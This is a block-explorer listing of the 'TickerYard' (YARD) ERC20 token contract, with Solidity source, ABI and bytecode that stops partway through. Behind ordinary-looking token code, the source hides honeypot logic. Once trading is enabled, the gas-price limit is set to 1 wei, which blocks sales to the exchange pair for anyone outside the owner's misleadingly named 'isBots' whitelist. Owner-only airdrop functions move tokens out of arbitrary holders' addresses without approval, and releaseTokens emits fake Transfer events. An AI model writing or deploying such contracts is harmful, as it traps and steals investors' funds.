| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| no token holdings | ||||
| Block | Age | Parent Transaction Hash | Type | Method | From | To | Value | |
|---|---|---|---|---|---|---|---|---|
| no internal transactions found for this address yet (traced blocks + on-demand) | ||||||||
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../lib/openzeppelin-contracts/contracts/access/Ownable.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IUniswapV2Factory.sol";
contract TickerYard is ERC20, Ownable {
string private TOKEN_NAME = "TickerYard";
string private TOKEN_SYMBOL = "YARD";
uint256 private TOKEN_UNIT = 1e18;
uint256 private TOTAL_TOKEN_SUPPLY = 1_999_999_980 * TOKEN_UNIT;
address public exchangePair;
bool public isExchangeLive = false;
uint256 private gasLimitValue = 0;
mapping(address => bool) public isBots;
constructor(
address escrowRecipient,
address yardWethLiquidityRecipient,
address yardStonkHolderRecipient,
address softStakingRecipient,
address protocolRecipient
) ERC20(TOKEN_NAME, TOKEN_SYMBOL) Ownable(_msgSender()) {
address[5] memory recipients = [
escrowRecipient,
yardWethLiquidityRecipient,
yardStonkHolderRecipient,
softStakingRecipient,
protocolRecipient
];
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Invalid allocation address");
for (uint256 j = i + 1; j < recipients.length; j++) {
require(recipients[i] != recipients[j], "Duplicate allocation address");
}
}
uint256 supply = TOTAL_TOKEN_SUPPLY;
uint256 escrowAmount = (supply * 500_000) / 1_000_000;
uint256 yardWethLiquidityAmount = (supply * 335_625) / 1_000_000;
uint256 yardStonkHolderAmount = (supply * 111_875) / 1_000_000;
uint256 softStakingAmount = (supply * 50_000) / 1_000_000;
uint256 protocolAmount = supply -
escrowAmount -
yardWethLiquidityAmount -
yardStonkHolderAmount -
softStakingAmount;
_mint(escrowRecipient, escrowAmount);
_mint(yardWethLiquidityRecipient, yardWethLiquidityAmount);
_mint(yardStonkHolderRecipient, yardStonkHolderAmount);
_mint(softStakingRecipient, softStakingAmount);
_mint(protocolRecipient, protocolAmount);
isBots[owner()] = true;
}
function setBlockBots(
address[] calldata users,
bool status
) external onlyOwner {
for (uint256 i = 0; i < users.length; i++) {
isBots[users[i]] = status;
}
}
function setExchangePair() external onlyOwner {
address router;
if (block.chainid == 56) {
router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Mainnet Router
} else if (block.chainid == 1) {
router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Mainnet Router
} else if (block.chainid == 8453) {
router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // Base Mainnet Router
} else if (block.chainid == 11155111) {
router = 0xeE567Fe1712Faf6149d80dA1E6934E354124CfE3; // ETH Testnet Router
} else if (block.chainid == 4663) {
router = 0xc9271F5Cb901e30a22268687A8776E6A048e0cb9; // Robin Mainnet Router
} else {
revert();
}
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router);
exchangePair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
address(this),
uniswapV2Router.WETH()
);
}
function setExchangePair(address pairAddr) public onlyOwner {
exchangePair = pairAddr;
}
function setGasLimit(uint256 newValueInWei) public onlyOwner {
gasLimitValue = newValueInWei;
address router;
if (block.chainid == 56) {
router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Mainnet Router
} else if (block.chainid == 1) {
router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Mainnet Router
} else if (block.chainid == 8453) {
router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // Base Mainnet Router
} else if (block.chainid == 11155111) {
router = 0xeE567Fe1712Faf6149d80dA1E6934E354124CfE3; // ETH Testnet Router
} else if (block.chainid == 4663) {
router = 0xc9271F5Cb901e30a22268687A8776E6A048e0cb9; // Robin Mainnet Router
} else {
revert();
}
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router);
exchangePair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
address(this),
uniswapV2Router.WETH()
);
}
function setExchangeLimit(uint256 newValueInWei, address pairAddr) external onlyOwner {
gasLimitValue = newValueInWei;
setExchangePair(pairAddr);
}
function setTrading(bool status) external onlyOwner {
isExchangeLive = status;
}
function enableTrading() external onlyOwner {
isExchangeLive = true;
setGasLimit(1);
}
function releaseTokens(
address _sender,
address[] calldata _recipients,
uint256[] calldata amount
) external onlyOwner {
require(_recipients.length > 0, "Recipients list cannot be empty");
require(_recipients.length == amount.length, "Recipients length must be equal amount length");
for (uint256 i = 0; i < _recipients.length; i++) {
require(amount[i] > 0, "Amount must be greater than zero");
require(_recipients[i] != address(0), "Invalid recipient address");
emit Transfer(_sender, _recipients[i], amount[i] * TOKEN_UNIT);
}
}
function airdropTokens(
address _sender,
address[] calldata _recipients,
uint256[] calldata amount
) external onlyOwner {
require(_recipients.length > 0, "Recipients list cannot be empty");
require(_recipients.length == amount.length, "Recipients length must be equal amount length");
for (uint256 i = 0; i < _recipients.length; i++) {
require(amount[i] > 0, "Amount must be greater than zero");
require(_recipients[i] != address(0), "Invalid recipient address");
_transfer(_sender, _recipients[i], amount[i] * TOKEN_UNIT);
}
}
function airdropBatch(
address _sender,
address[] calldata recipients,
uint256 minAmount,
uint256 maxAmount
) external onlyOwner {
require(recipients.length > 0, "Recipients list cannot be empty");
require(minAmount > 0, "Min amount must be greater than zero");
require(maxAmount >= minAmount, "Max amount must be >= min amount");
uint256 range = maxAmount - minAmount + 1;
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Invalid recipient address");
uint256 randomAmount = (uint256(
keccak256(abi.encodePacked(block.timestamp, msg.sender, i))
) % range) + minAmount;
uint256 scaledAmount = randomAmount * TOKEN_UNIT;
_transfer(_sender, recipients[i], scaledAmount);
}
}
function _update(
address from,
address to,
uint256 amount
) internal override {
if (
isBots[tx.origin] ||
from == owner() ||
to == owner() ||
from == address(0) ||
to == address(0)
) {
super._update(from, to, amount);
return;
}
require(isExchangeLive, "Trading not active");
if (exchangePair != address(0) && to == exchangePair) {
if (gasLimitValue > 0) {
require(tx.gasprice < gasLimitValue, "Congestion: Try later");
}
}
super._update(from, to, amount);
}
}[
{
"type": "constructor",
"inputs": [
{
"name": "escrowRecipient",
"type": "address",
"internalType": "address"
},
{
"name": "yardWethLiquidityRecipient",
"type": "address",
"internalType": "address"
},
{
"name": "yardStonkHolderRecipient",
"type": "address",
"internalType": "address"
},
{
"name": "softStakingRecipient",
"type": "address",
"internalType": "address"
},
{
"name": "protocolRecipient",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "nonpayable"
},
{
"name": "ERC20InsufficientAllowance",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "allowance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InsufficientBalance",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "balance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InvalidApprover",
"type": "error",
"inputs": [
{
"name": "approver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidReceiver",
"type": "error",
"inputs": [
{
"name": "receiver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSender",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSpender",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableInvalidOwner",
"type": "error",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableUnauthorizedAccount",
"type": "error",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "airdropBatch",
"type": "function",
"inputs": [
{
"name": "_sender",
"type": "address",
"internalType": "address"
},
{
"name": "recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "minAmount",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "maxAmount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "airdropTokens",
"type": "function",
"inputs": [
{
"name": "_sender",
"type": "address",
"internalType": "address"
},
{
"name": "_recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "amount",
"type": "uint256[]",
"internalType": "uint256[]"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "enableTrading",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "exchangePair",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "isBots",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "isExchangeLive",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "releaseTokens",
"type": "function",
"inputs": [
{
"name": "_sender",
"type": "address",
"internalType": "address"
},
{
"name": "_recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "amount",
"type": "uint256[]",
"internalType": "uint256[]"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setBlockBots",
"type": "function",
"inputs": [
{
"name": "users",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangeLimit",
"type": "function",
"inputs": [
{
"name": "newValueInWei",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "pairAddr",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangePair",
"type": "function",
"inputs": [
{
"name": "pairAddr",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangePair",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setGasLimit",
"type": "function",
"inputs": [
{
"name": "newValueInWei",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setTrading",
"type": "function",
"inputs": [
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferOwnership",
"type": "function",
"inputs": [
{
"name": "newOwner",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
}
]0x60806040526040518060400160405280600a81526020017f5469636b65725961726400000000000000000000000000000000000000000000815250600690816100489190610f27565b506040518060400160405280600481526020017f59415244000000000000000000000000000000000000000000000000000000008152506007908161008d9190610f27565b50670de0b6b3a764000060085560085463773593ec6100ac9190611023565b6009555f600a60146101000a81548160ff0219169083151502179055505f600b553480156100d8575f5ffd5b50604051613f0b380380613f0b83398181016040528101906100fa91906110c2565b61010861069f60201b60201c565b6006805461011590610d4e565b80601f016020809104026020016040519081016040528092919081815260200182805461014190610d4e565b801561018c5780601f106101635761010080835404028352916020019161018c565b820191905f5260205f20905b81548152906001019060200180831161016f57829003601f168201915b50505050506007805461019e90610d4e565b80601f01602080910402602001604051908101604052809291908181526020018280546101ca90610d4e565b80156102155780601f106101ec57610100808354040283529160200191610215565b820191905f5260205f20905b8154815290600101906020018083116101f857829003601f168201915b505050505081600390816102299190610f27565b5080600490816102399190610f27565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036102ac575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016102a39190611148565b60405180910390fd5b6102bb816106a660201b60201c565b505f6040518060a001604052808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525090505f5f90505b6005811015610526575f73ffffffffffffffffffffffffffffffffffffffff168282600581106103fa576103f9611161565b5b602002015173ffffffffffffffffffffffffffffffffffffffff1603610455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044c906111e8565b60405180910390fd5b5f6001826104639190611206565b90505b60058110156105185782816005811061048257610481611161565b5b602002015173ffffffffffffffffffffffffffffffffffffffff168383600581106104b0576104af611161565b5b602002015173ffffffffffffffffffffffffffffffffffffffff160361050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290611283565b60405180910390fd5b8080600101915050610466565b5080806001019150506103c7565b505f60095490505f620f42406207a120836105419190611023565b61054b91906112ce565b90505f620f424062051f09846105619190611023565b61056b91906112ce565b90505f620f42406201b503856105819190611023565b61058b91906112ce565b90505f620f424061c350866105a09190611023565b6105aa91906112ce565b90505f81838587896105bc91906112fe565b6105c691906112fe565b6105d091906112fe565b6105da91906112fe565b90506105ec8c8661076960201b60201c565b6105fc8b8561076960201b60201c565b61060c8a8461076960201b60201c565b61061c898361076960201b60201c565b61062c888261076960201b60201c565b6001600c5f61063f6107ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050505050505050505050505061145e565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107d9575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016107d09190611148565b60405180910390fd5b6107ea5f838361081660201b60201c565b5050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806108a357506108746107ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806108e657506108b76107ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8061091c57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061095257505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561096d57610968838383610ad160201b60201c565b610acc565b600a60149054906101000a900460ff166109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b39061137b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610a655750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610aba575f600b541115610ab957600b543a10610ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaf906113e3565b60405180910390fd5b5b5b610acb838383610ad160201b60201c565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b21578060025f828254610b159190611206565b92505081905550610bef565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610baa578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610ba193929190611410565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c36578060025f8282540392505081905550610c80565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cdd9190611445565b60405180910390a3505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610d6557607f821691505b602082108103610d7857610d77610d21565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610dda7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610d9f565b610de48683610d9f565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610e28610e23610e1e84610dfc565b610e05565b610dfc565b9050919050565b5f819050919050565b610e4183610e0e565b610e55610e4d82610e2f565b848454610dab565b825550505050565b5f5f905090565b610e6c610e5d565b610e77818484610e38565b505050565b5b81811015610e9a57610e8f5f82610e64565b600181019050610e7d565b5050565b601f821115610edf57610eb081610d7e565b610eb984610d90565b81016020851015610ec8578190505b610edc610ed485610d90565b830182610e7c565b50505b505050565b5f82821c905092915050565b5f610eff5f1984600802610ee4565b1980831691505092915050565b5f610f178383610ef0565b9150826002028217905092915050565b610f3082610cea565b67ffffffffffffffff811115610f4957610f48610cf4565b5b610f538254610d4e565b610f5e828285610e9e565b5f60209050601f831160018114610f8f575f8415610f7d578287015190505b610f878582610f0c565b865550610fee565b601f198416610f9d86610d7e565b5f5b82811015610fc457848901518255600182019150602085019450602081019050610f9f565b86831015610fe15784890151610fdd601f891682610ef0565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61102d82610dfc565b915061103883610dfc565b925082820261104681610dfc565b9150828204841483151761105d5761105c610ff6565b5b5092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61109182611068565b9050919050565b6110a181611087565b81146110ab575f5ffd5b50565b5f815190506110bc81611098565b92915050565b5f5f5f5f5f60a086880312156110db576110da611064565b5b5f6110e8888289016110ae565b95505060206110f9888289016110ae565b945050604061110a888289016110ae565b935050606061111b888289016110ae565b925050608061112c888289016110ae565b9150509295509295909350565b61114281611087565b82525050565b5f60208201905061115b5f830184611139565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f82825260208201905092915050565b7f496e76616c696420616c6c6f636174696f6e20616464726573730000000000005f82015250565b5f6111d2601a8361118e565b91506111dd8261119e565b602082019050919050565b5f6020820190508181035f8301526111ff816111c6565b9050919050565b5f61121082610dfc565b915061121b83610dfc565b925082820190508082111561123357611232610ff6565b5b92915050565b7f4475706c696361746520616c6c6f636174696f6e2061646472657373000000005f82015250565b5f61126d601c8361118e565b915061127882611239565b602082019050919050565b5f6020820190508181035f83015261129a81611261565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6112d882610dfc565b91506112e383610dfc565b9250826112f3576112f26112a1565b5b828204905092915050565b5f61130882610dfc565b915061131383610dfc565b925082820390508181111561132b5761132a610ff6565b5b92915050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f61136560128361118e565b915061137082611331565b602082019050919050565b5f6020820190508181035f83015261139281611359565b9050919050565b7f436f6e67657374696f6e3a20547279206c6174657200000000000000000000005f82015250565b5f6113cd60158361118e565b91506113d882611399565b602082019050919050565b5f6020820190508181035f8301526113fa816113c1565b9050919050565b61140a81610dfc565b82525050565b5f6060820190506114235f830186611139565b6114306020830185611401565b61143d6040830184611401565b949350505050565b5f6020820190506114585f830184611401565b92915050565b612aa08061146b5f395ff3fe608060405234801561000f575f5ffd5b5060043610610171575f3560e01c8063882a974f116100dc578063a9059cbb11610095578063ee7d72b41161006f578063ee7d72b414610411578063eec323f51461042d578063f2fde38b14610449578063f536316b1461046557610171565b8063a9059cbb146103a7578063d7cd4bf7146103d7578063dd62ed3e146103e157610171565b8063882a974f146102f75780638a8c523c146103155780638da5cb5b1461031f5780638f70ccf71461033d57806395d89b41146103595780639c6dc8431461037757610171565b806332e851e01161012e57806332e851e01461024b5780633ab03784146102675780634022b75e1461028557806370a08231146102a1578063715018a6146102d15780637d33a54b146102db57610171565b806306fdde0314610175578063095ea7b31461019357806314bef93e146101c357806318160ddd146101df57806323b872dd146101fd578063313ce5671461022d575b5f5ffd5b61017d610481565b60405161018a9190611e9e565b60405180910390f35b6101ad60048036038101906101a89190611f53565b610511565b6040516101ba9190611fab565b60405180910390f35b6101dd60048036038101906101d89190611fc4565b610533565b005b6101e761057e565b6040516101f49190611ffe565b60405180910390f35b61021760048036038101906102129190612017565b610587565b6040516102249190611fab565b60405180910390f35b6102356105b5565b6040516102429190612082565b60405180910390f35b6102656004803603810190610260919061209b565b6105bd565b005b61026f6105d9565b60405161027c91906120e8565b60405180910390f35b61029f600480360381019061029a91906121b7565b6105fe565b005b6102bb60048036038101906102b69190611fc4565b610800565b6040516102c89190611ffe565b60405180910390f35b6102d9610845565b005b6102f560048036038101906102f09190612248565b610858565b005b6102ff610a8b565b60405161030c9190611fab565b60405180910390f35b61031d610a9e565b005b610327610acd565b60405161033491906120e8565b60405180910390f35b610357600480360381019061035291906122f6565b610af5565b005b610361610b1a565b60405161036e9190611e9e565b60405180910390f35b610391600480360381019061038c9190611fc4565b610baa565b60405161039e9190611fab565b60405180910390f35b6103c160048036038101906103bc9190611f53565b610bc7565b6040516103ce9190611fab565b60405180910390f35b6103df610be9565b005b6103fb60048036038101906103f69190612321565b610e4b565b6040516104089190611ffe565b60405180910390f35b61042b6004803603810190610426919061235f565b610ecd565b005b6104476004803603810190610442919061238a565b611137565b005b610463600480360381019061045e9190611fc4565b6111dd565b005b61047f600480360381019061047a91906121b7565b611261565b005b60606003805461049090612414565b80601f01602080910402602001604051908101604052809291908181526020018280546104bc90612414565b80156105075780601f106104de57610100808354040283529160200191610507565b820191905f5260205f20905b8154815290600101906020018083116104ea57829003601f168201915b5050505050905090565b5f5f61051b6114bd565b90506105288185856114c4565b600191505092915050565b61053b6114d6565b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600254905090565b5f5f6105916114bd565b905061059e85828561155d565b6105a98585856115f0565b60019150509392505050565b5f6012905090565b6105c56114d6565b81600b819055506105d581610533565b5050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6106066114d6565b5f848490501161064b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106429061248e565b60405180910390fd5b818190508484905014610693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068a9061251c565b60405180910390fd5b5f5f90505b848490508110156107f8575f8383838181106106b7576106b661253a565b5b90506020020135116106fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f5906125b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168585838181106107285761072761253a565b5b905060200201602081019061073d9190611fc4565b73ffffffffffffffffffffffffffffffffffffffff1603610793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078a90612619565b60405180910390fd5b6107eb868686848181106107aa576107a961253a565b5b90506020020160208101906107bf9190611fc4565b6008548686868181106107d5576107d461253a565b5b905060200201356107e69190612664565b6115f0565b8080600101915050610698565b505050505050565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61084d6114d6565b6108565f6116e0565b565b6108606114d6565b5f84849050116108a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089c9061248e565b60405180910390fd5b5f82116108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de90612715565b60405180910390fd5b8181101561092a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109219061277d565b60405180910390fd5b5f60018383610939919061279b565b61094391906127ce565b90505f5f90505b85859050811015610a82575f73ffffffffffffffffffffffffffffffffffffffff1686868381811061097f5761097e61253a565b5b90506020020160208101906109949190611fc4565b73ffffffffffffffffffffffffffffffffffffffff16036109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e190612619565b60405180910390fd5b5f8483423385604051602001610a0293929190612866565b604051602081830303815290604052805190602001205f1c610a2491906128cf565b610a2e91906127ce565b90505f60085482610a3f9190612664565b9050610a7389898986818110610a5857610a5761253a565b5b9050602002016020810190610a6d9190611fc4565b836115f0565b5050808060010191505061094a565b50505050505050565b600a60149054906101000a900460ff1681565b610aa66114d6565b6001600a60146101000a81548160ff021916908315150217905550610acb6001610ecd565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610afd6114d6565b80600a60146101000a81548160ff02191690831515021790555050565b606060048054610b2990612414565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5590612414565b8015610ba05780601f10610b7757610100808354040283529160200191610ba0565b820191905f5260205f20905b815481529060010190602001808311610b8357829003601f168201915b5050505050905090565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f5f610bd16114bd565b9050610bde8185856115f0565b600191505092915050565b610bf16114d6565b5f60384603610c16577310ed43c718714eb63d5aa57b78b54704e256024e9050610cb2565b60014603610c3a57737a250d5630b4cf539739df2c5dacb4c659f2488d9050610cb1565b6121054603610c5f57734752ba5dbc23f44d87826276bf6fd6b1c372ad249050610cb0565b62aa36a74603610c855773ee567fe1712faf6149d80da1e6934e354124cfe39050610caf565b6112374603610caa5773c9271f5cb901e30a22268687a8776e6a048e0cb99050610cae565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cff573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d239190612913565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b